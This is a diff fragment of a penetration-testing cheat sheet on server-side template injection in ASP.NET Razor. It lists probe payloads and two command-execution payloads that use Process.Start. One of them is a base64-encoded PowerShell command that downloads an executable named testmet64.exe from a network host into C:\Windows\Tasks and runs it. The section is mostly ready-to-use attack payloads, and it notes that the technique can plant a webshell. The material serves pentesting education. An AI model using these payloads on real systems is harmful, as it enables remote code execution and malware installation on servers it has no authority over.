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pentesting-web/ssti-server-side-template-injection/README.md
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@ -764,14 +764,23 @@ ${x}
### Razor (.Net)
* `@(2+2) <= Success`
* `@() <= Success`
* `@("{{code}}") <= Success`
* `@ <=Success`
* `@{} <= ERROR!`
* `@{ <= ERRROR!`
* `@(1+2)`
* `@( //C#Code )`
* `@( //C#Code )`
* `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");`
* `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");`
The .NET `System.Diagnostics.Process.Start` method can be used to start any process on the server and thus create a webshell. You can find a vulnerable webapp example in [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp)
**More information**
* [https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-(SSTI)-in-ASP.NET-Razor/](https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-\(SSTI\)-in-ASP.NET-Razor/)
* [https://www.schtech.co.uk/razor-pages-ssti-rce/](https://www.schtech.co.uk/razor-pages-ssti-rce/)
### Mojolicious (Perl)